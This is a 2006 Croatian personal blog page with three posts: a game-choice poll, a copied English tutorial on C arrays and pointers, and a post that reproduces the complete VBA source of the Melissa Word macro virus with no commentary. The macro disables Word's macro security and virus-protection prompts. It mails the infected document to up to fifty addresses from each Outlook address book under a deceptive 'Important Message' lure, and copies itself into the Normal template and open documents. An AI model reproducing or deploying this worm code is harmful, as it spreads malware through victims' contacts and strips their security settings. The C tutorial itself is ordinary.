ajemdman

02.05.2006., utorak


herre goes
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString ("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W o rdSecuri ty", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0W o rdSecuri ty", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.BOdy = "Here is that document you asked for ... don’t show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DonT = True
End If

If DonT <> True And DoAD <> True Then GoTo CYA

If DonT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

’WORD/Melissa written by Kwyjibo
’Works in both Word 2000 and Word 97
’Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
’Word -> Email | Word 97 <--> Word 2000 ... it’s a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game’s over. I’m outta here."
End Sub <=>
- 18:47 - Komentari (3) - Isprintaj - #

26.04.2006., srijeda


Novi Post
Niste se trebali bas trudit, ako se skupi dovoljno novca, bit ce i igara! :))) mouthwash

JAAAKO ZABAVNO!--> ajde klikni znas da zelis
njaminjaminjami

Arays and pointers
nesto malo o C++u :))
Arrays are ordered collections of elements all of which are the same type. Our job, in this document, is to define how arrays are stored and used in a program so we can effectively use them. If you have not yet read the Memory Diagram document, you should do so at this time. It defines the graphical representation used in this document.

A SINGLY DIMENSIONED ARRAY

We will start with a simple program to get a few definitions out of the way. Consider the following code fragment;

int index;
double ar[4];
double *pt;

int main()
{
pt = ar + 2; /* Pointer arithmetic */

for (index = 0 ; index < 4 ; index++)
{
ar[index] = (double)(3 * index);
}
}
We define a simple integer variable named index that will be stored in global memory and because it is a global variable, it will be initialized to zero according to the definition of C. We also define an array of 4 double type variables. Each of these variables will also be automatically initialized to zero. Finally, we define a pointer named pt which will be initially set to a value of NULL because it is global.

When we complete execution of the for loop and are just ready to drop out of the bottom of the main() function, we have a memory map like that shown in figure 1. The pointer pt has been assigned the address of the third element of the array so it is effectively pointing to that element. The variable named index contains the value of 4 because it was used to iterate through the loop. Note that figure 1 is a "logical layout" of the array in memory as opposed to an "internal pseudo-memory map" which we will see shortly. I made up that big term for the purposes of definition.

I am assuming you already understand the basic operation of arrays, so I didn't go into much detail in the preceding discussion, but we are ready now to get into the heavy stuff.

HOW DO ARRAYS REALLY WORK?

In order to understand arrays completely, we must look at the array defined above from a slightly different viewpoint. Figure 2 is an "internal pseudo-memory map" of the array, the simple variable named index, and the pointer named pt. Note that figure 2 is a snapshot of memory at the same time that figure 1 depicts.

The pointer named ar is a constant pointer that points to the first element of the array. That is the only element it can ever refer to because its address cannot be changed. However, due to the magic of pointer arithmetic, it can be the basis of referring to any value in the entire array. The system knows the type of each element in the array so it therefore knows the size, in bytes, of each element in the array. By adding the number of bytes contained in one element of the array to the constant pointer ar, and storing the sum in some temporary storage location, we have the address of the second element in the array, the one named ar[1]. We can use this address to refer to the second element. You should see clearly how we can refer to any of the elements in the array, provided that the array is stored in contiguous memory, and C requires that all elements of an array be stored contiguously in memory.

If we consider that an element is addressed as ar[index] and each element is composed of size bytes, the address of any element in the array is given by;

byte_address = ar + index * size
This little equation is evaluated inside the system every time you access any element of an array, so to be very efficient, the address ar is probably best stored in a register. If it is stored in a register, we cannot get its address or do anything funny with it, but we must remember that it is a constant by definition. The pseudo-memory map is therefore not quite true, because we defined the graphical elements in the memory map as real elements and the address ar may not be a real location in memory. We cannot get the address of the pseudo-pointer ar, because it may not have an address. By the way, the little element named size above is generated internally by the system since it knows what the type of the elements are.

Because we had the foresight to define a pointer of the same type as the elements of the array, we can assign it the address of any element of the array and use it to access the array elements. In fact, we add the value of 2 to it in the program fragment. That statement in the program uses the byte_address formula given above to do the assignment, so it also adjusts the count for the size of the element. Pointers and arrays are so closely related that their notation can be interchanged such that the following terms are identical if pt contains the value of ar;

ar[index] /* This is natural for the array */
*(ar + index) /* This looks funny for the array */
*(pt + index) /* This is natural for the pointer */
pt[index] /* This looks funny for the pointer */
Experienced C programmers sometimes interchange the notation when it is expedient for the sake of completing the code. It is highly recommended that you use the notation that fits the project. If you are using the elements as array elements, use the array notation, and vice-versa.

It should be clear now that the reason I referred to figure 2 as an "internal pseudo-memory map" was because the pointer ar may not actually exist in global memory.

If you understand the discussion given above, you should be able to print out any of the array elements in a neat orderly fashion. In fact, you should be able to do so using either notation. It would be profitable for you to add printf() statements to the above program to do just that as a programming exercise.

MULTIPLY DIMENSIONED ARRAYS

If a singly dimensioned array is built with a pointer, you should also suspect that a multiply dimensioned array is generated with one or more pointers. This is true as we shall see. Consider the following array definition;

double ar2[3][4];
Our first problem is to define what this array would look like, but it is difficult to do with the logical layout. Figure 3 is the logical layout but it does not give us a good picture of what is happening under the hood. In fact, it does not give a good picture at all because I found it necessary to put the name of each box within the box, which does not leave room to write the value currently stored in each box, or that will be stored there when we actually store some data in the array.

The "internal pseudo-memory map" (there's that big term I invented earlier) works just fine to display what the doubly-dimensioned array looks like within the system, and can be used to illustrate how it is actually implemented. Figure 4 is the graphical representation of the array. Keep in mind that this may not be an accurate picture of what is actually stored in memory, but it is accurate in terms of the concept of a doubly dimensioned array.

The first thing you will notice is that there is still a single pointer that is the name of the entire array, but in this case it is a constant pointer to a constant pointer. It points to an array of pointers, each of which points somewhere inside of the array. Finally, there is the actual storage for the elements of the array. According to the definition of C, all elements of the array must be contiguous, so we have chosen to draw the elements in the manner shown to emphasize this fact. You may guess, and properly so, that none of the pointers are necessarily real pointers, but are somehow bound up in the addressing logic of the code, or they may be stored in registers. On the other hand, they could actually all be pointers if the implementors decided to do so. We really cannot make any assumptions about the underlying implementation.

We can still use address arithmetic for the ar2[n] array of pointers as we did earlier in this document, but we have a slightly different case this time since we only need to move the pointer by the number of bytes in a pointer, rather than by the number of bytes in one of the elements of the array. So the following formula is used with size being the number of bytes used to store a pointer;

byte_address = ar2 + index * size
However, we must keep in mind that the compiler writer has the option to store these pointers anywhere, even in registers, so the address of these pointers may not be available for your use. It will be correct to think of these pointers existing somewhere in memory conceptually however in order to understand how a doubly dimensioned array is stored in the computer memory.

We can still do pointer arithmetic within each row as we did with the singly dimensioned array.

The constant pointer named ar2[0]can be considered to be a constant pointer to the first element in the first row and the formula given above can be used to do pointer arithmetic just like it is referring to a singly dimensioned array. Therefore, the following two lines of code,

*(ar2[0] + 3) = 17.1;
ar2[0][3] = 17.1;
are identical as far as the compiler is concerned. Either will assign the value of 17.1 to the last element of the first row.

A TRICK THAT WILL WORK

Because of this definition, it is possible to keep the first array index set to zero and vary the second array index from zero to eleven, thereby accessing all 12 elements by varying a single subscript. This is considered vary bad practice in some programming circles and its use is not encouraged, but it does illustrate how the elements are actually stored.

for (index = 0 ; index < 12 ; index++)
ar2[0][index] = 0.0;
This trick is possible because C does not do run-time range checking of array subscripts.

HIGHER ORDER ARRAYS

According to this definition, a 3 dimensional array will begin with a pointer to a pointer to a pointer. It will point to an array of pointers to pointers, and so forth. You can extend this further if you desire.

FOUR TRUTHS ABOUT ARRAYS

All elements of the array will be contiguous because of the definition of C and C++.
The system knows the size of each element so it can do pointer arithmetic to access any element by using an offset from the first element.
The name of a singly dimensioned array is a constant pointer to the first element of the array. Note that we can use it logically as if this is true, because we know that it has to act like this even if the system stores it in some funny place.
The pointer or pointers may not exist in actual memory, so you cannot take the address of any of these pointers. Of course, you can get the value of the address stored within any of the pointers.
FINALLY, AND MOST IMPORTANT

An array is a pointer. WRONG, FALSE

The name of an array is a constant pointer to the first element of the array. RIGHT, TRUE

- 10:20 - Komentari (3) - Isprintaj - #

14.04.2006., petak


Pomozite
Nemogu se odluciti za igru, pomozite molim vas i odaberite:
Quake 3-malo ljudi je igra
StarCraft-malo ljudi je igra
(Quake 4)-problem u parama, vrlo skupa
World of Warcraft-placa se, svaki mjesec 100kn

U komentaru upisite ime igre... thx unaprijed.mah
- 16:34 - Komentari (8) - Isprintaj - #

<< Arhiva >>

Creative Commons License
Ovaj blog je ustupljen pod Creative Commons licencom Imenovanje-Dijeli pod istim uvjetima.